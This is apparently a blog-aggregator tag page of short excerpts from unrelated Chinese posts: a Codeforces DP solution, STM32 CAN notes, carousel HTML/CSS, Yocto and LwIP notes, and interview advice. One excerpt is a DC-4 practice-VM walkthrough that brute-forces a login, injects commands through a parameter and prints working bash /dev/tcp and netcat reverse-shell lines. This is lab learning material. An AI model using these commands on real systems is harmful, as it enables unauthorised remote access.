mbox

[CF995F]Cowmpany Cowmpensation

為{幸葍}努か 提交于 2021-02-15 06:04:00
codeforces description 一棵$n$个节点的树,给每个节点标一个$[1,m]$之间的编号,要求儿子的权值不大于父亲权值。求方案数。$n\le3000,n\le10^9$ sol 可以证明答案是关于$m$的一个$n$次多项式。我不会证。 如果$P(x)$是关于$x$的$n$次多项式,则有 $$P(x)=\sum_{i=0}^{n}(-1)^{n-i}P(i)\frac{x(x-1)...(x-n)}{(n-i)!i!(x-i)}$$ 可见杜教$\mbox{PPT}$《多项式与求和》。 所以只要对$[1,n]$求答案就可以了,很显然是一个$O(n^2)$的$dp$,所以复杂度是$O(n^2)$。 code #include<cstdio> #include<algorithm> #include<cstring> using namespace std; int gi(){ int x=0,w=1;char ch=getchar(); while ((ch<'0'||ch>'9')&&ch!='-') ch=getchar(); if (ch=='-') w=0,ch=getchar(); while (ch>='0'&&ch<='9') x=(x<<3)+(x<<1)+ch-'0',ch=getchar(); return w?x:-x; } const int

STM32(12)——CAN

风流意气都作罢 提交于 2021-02-07 04:55:56
简介:   CAN是Controller Area Network,是 ISO 国际标准化的串行通信协议。   CAN 控制器根据两根线上的电位差来判断总线电平。总线电平分为显性电平和隐性电平,二者必居其一。发送方通过使总线电平发生变化,将消息发送给接收方。   STM32 自带的是 bxCAN ,即基本扩展 CAN。它支持 CAN 协议 2.0A 和 2.0B。它的 设计目标 是,以 最小的 CPU 负荷来高效处理大量收到的报文 。它也支持报文发送的优先级要求(优先级特性可软件配置)。对于安全紧要的应用,bxCAN 提供所有支持时间触发通信模式所需的硬件功能。    STM32 的 bxCAN 的主要特点有: 1.支持 CAN 协议 2.0A 和 2.0B 主动模式 2.波特率最高达 1Mbps 3.支持时间触发通信 4.具有 3 个发送邮箱 5.具有 3 级深度的 2 个接收 FIFO 6.可变的过滤器组(最多 28 个)   STM32 (互联型) :带有两个CAN控制器; 过滤器组 最多有 28 个 STM32 (增强型) :STM32F103ZET6只有1个CAN控制器; 过滤器组 只有 14 个   每个滤波器都是组x都是由2个32位寄存器,CAN_FxR1 和 CAN_FxR2 组成。    STM32 每个过滤器组的位宽都可以独立配置,以满足应用程序的不同需求

轮播图

若如初见. 提交于 2020-12-05 19:55:51
今天学到轮播图以前看似很简单,今天一做对于我这新手还是挺难, 主要还是逻辑思维。 现在就对自己做的轮播图在整体的一步一步的写一下: HTML+css代码如下 <! DOCTYPE html > < html > < head > < meta charset ="utf-8" > < title ></ title > < style type ="text/css" > * { margin : 0 ; padding : 0 ; } .a1 { width : 500px ; height : 200px ; border : 1px solid red ; margin : 0 auto ; position : relative ; overflow : hidden ; } li { float : left ; display : inline-block ; } .a2 { position : relative ; width : 500px ; height : 200px ; } ul { position : absolute ; top : 0 ; left : 0 ; width : 3000px ; margin : 0 ; padding : 0 ; list-style : none ; } img { display : inline ;

DC-4靶机

≡放荡痞女 提交于 2020-08-19 05:41:51
下载 ,安装(vmware直接导入文件),桥接 kali开始nmap扫描 nmap -sP 192.168.123.0/24 找到目标ip:192.168.123.9 浏览器访问,就一个登陆页面 nmap扫描端口;只有22和80 可以确定是linux了(废话) 再dirsearch扫描目录 也没有有用的信息 先试试注入,手注和sqlmap都没找出什么来 burp抓包跑字典暴力破解再试试看 暴力破解出了结果 admin happy 登陆后的页面, 只有一个command,点进去,有3个命令供执行 ls -l 显示目录内容列表 du -h 显示每个文件和目录的磁盘使用情况 df -h 显示磁盘相关信息 试试抓包,执行命令作为明文参数,修改成别的,发现也可以执行(这里我是换成了dir) 验证其可行性后,试试看别的命令,cat command.php 可以看到执行命令的是这个shell_exec()函数 用户是www-data,权限组在33 没有写文件的权限 直接 反弹shell 看上去像是把命令里的&符当成分隔符了。编码一下就解决了 bash+-i+>%26%2Fdev%2Ftcp%2F192.168.123.42%2F1234+0>%261 然鹅还是反弹不出来,看不到报错,也不知道是什么的原因 换nc反弹 nc 192.168.123.41 1234 -e /bin/bash 反弹成功

yocto编译时报错"fontconfig-2.12.1/src/fcmatch.c:324:63: error: ‘PRI_CHAR_WIDTH_STRONG&apos; undeclared here...

为君一笑 提交于 2020-08-18 21:21:11
答: 打上以下补丁即可修复 $ wget https://patchwork.openembedded.org/patch/146107/mbox/ -O mbox && git am mbox --reject 参考资料: https://patchwork.openembedded.org/patch/146107/ 来源: oschina 链接: https://my.oschina.net/u/4340310/blog/4295464

LwIP应用开发笔记之十:LwIP带操作系统基本移植

我们两清 提交于 2020-08-14 17:55:14
现在,TCP/IP协议的应用无处不在。随着物联网的火爆,嵌入式领域使用TCP/IP协议进行通讯也越来越广泛。在我们的相关产品中,也都有应用,所以我们结合应用实际对相关应用作相应的总结。 1 、技术准备 我们采用的开发平台是STM32F407和LwIP协议栈。在开始之前,我们需要做必要的准备工作。 首先要获得LwIP的源码,在网上有很多,不同版本及不同平台的都有,不过我们还是建议直接从官方网站获得。其官方网站如下: http://savannah.nongnu.org/projects/lwip/ 其次,需要硬件平台,我们采用了STM32F407ZG+DM9161的网络接口方式,这并不是必须的,其他硬件平台也是一样的。 最后,因为我们后面要在操作系统下移植,采用的操作系统是FreeRTOS,所以还需下载FreeRTOS的源码。同样建议从官网下载: https://www.freertos.org/index.html 2 、 LwIP 简要说明 LwIP是一款免费的TCP/IP协议栈,但它的功能趋势十分完备。LwIP 具有三种应用编程接口 (API): Raw API :为原始的 LwIP API。它通过事件回调机制进行应用开发。该 API 提供了最好的性能和优化的代码长度,但增加了应用开发的复杂性。 Netconn API :为高层有序 API,需要实时操作系统 (RTOS)的支持

5 点可以让你提高面试通过率建议(干货)

﹥>﹥吖頭↗ 提交于 2020-08-10 21:53:08
自从我发过几篇关于面试经历的文章,由于我面试结果还不错,所有很多人来询问我一些面试相关的问题, 我这里给到 5 点建议,希望对大家有帮助。 1. 简历里应该惜字如金 简历简历,可以分为 简 和 历。 简,简单简洁之意,历,经历,总体就是 简单 的表达自己的经历。 我看到一些人的简历写了四、五页,甚至十来页的都有,每个项目把细节都写出来了,甚至还把项目截图给贴在了简历里面,生怕面试官不能理解需求,我建议最多不超过 2 页,亮点能写两页就已经很牛逼了。 我相信有很多人工作了很多年,经历的项目很多,其实不需要把所有的项目都列出来, 简历里是要展示自己的亮点,牛逼的点,这个亮点、牛逼的点事相对的,相对于自己所做的东西里面的,不是客观的牛逼(如果有当然更好,那必然也是你相对的里面的亮点,不冲突) 。 这句话意味着两层意思: 很多人觉得自己的项目没有亮点的问题,因为你是那这别人更高的标准来衡量自己,所以你相对于别人没有亮点,这样你就写不出一份简历。 多个亮点类似的项目合并,或者只写一个,因为都是为了给面试官展示这一个亮点,写多了就是浪费空间,简历上面的字很珍贵。 第一层让你的简历有东西可写(增加),第二层是让你把简历写得更优质(减少)。 2. 简历应该是你设计过的 「设计简历」可能对这个词有点迷惑,可能你第一感觉是设计得好看一点,其实我想表达的设计是一种「圈套」,给面试设计的「圈套」

社交网站的数据挖掘与分析pdf版本|网盘下载地址附提取码|

▼魔方 西西 提交于 2020-08-10 13:44:02
点击此处进入网盘下载地址 提取码:btqx 作者介绍: 马修·罗塞尔(MatthewA.Russell),DigitalReasoningSystems公司的技术副总裁和Zaffra公司的负责人,是热爱数据挖掘、开源和Web应用技术的计算机科学家。他也是《Dojo:TheDofinitiveGuide》(O'Reilly出版社)的作者。在LinkedIn上联系他或在Twitter上关注@ptwobrussell,可随时关注他的最新动态。 简介: 出版社: 机械工业出版社 ISBN:9787111369608 版次:1 商品编码:10922249 品牌:机工出版 包装:平装 丛书名: OReilly精品图书系列 开本:16开 出版时间:2012-02-01 用纸:胶版纸 页数:316 社交网站的数据挖掘与分析目录: 前言第1章 绪论:Twitter 数据的处理 Python 开发工具的安装 Twitter 数据的收集和处理 小结 第2章 微格式:语义标记和常识碰撞 XFN 和朋友 使用XFN 来探讨社交关系 地理坐标:兴趣爱好的共同主线 (以健康的名义)对菜谱进行交叉分析 对餐厅评论的搜集 小结 第3章 邮箱:虽然老套却很好用 mbox:Unix 的入门级邮箱 mbox+CouchDB= 随意的Email 分析 将对话线程化到一起 使用SIMILE Timeline 将邮件"事件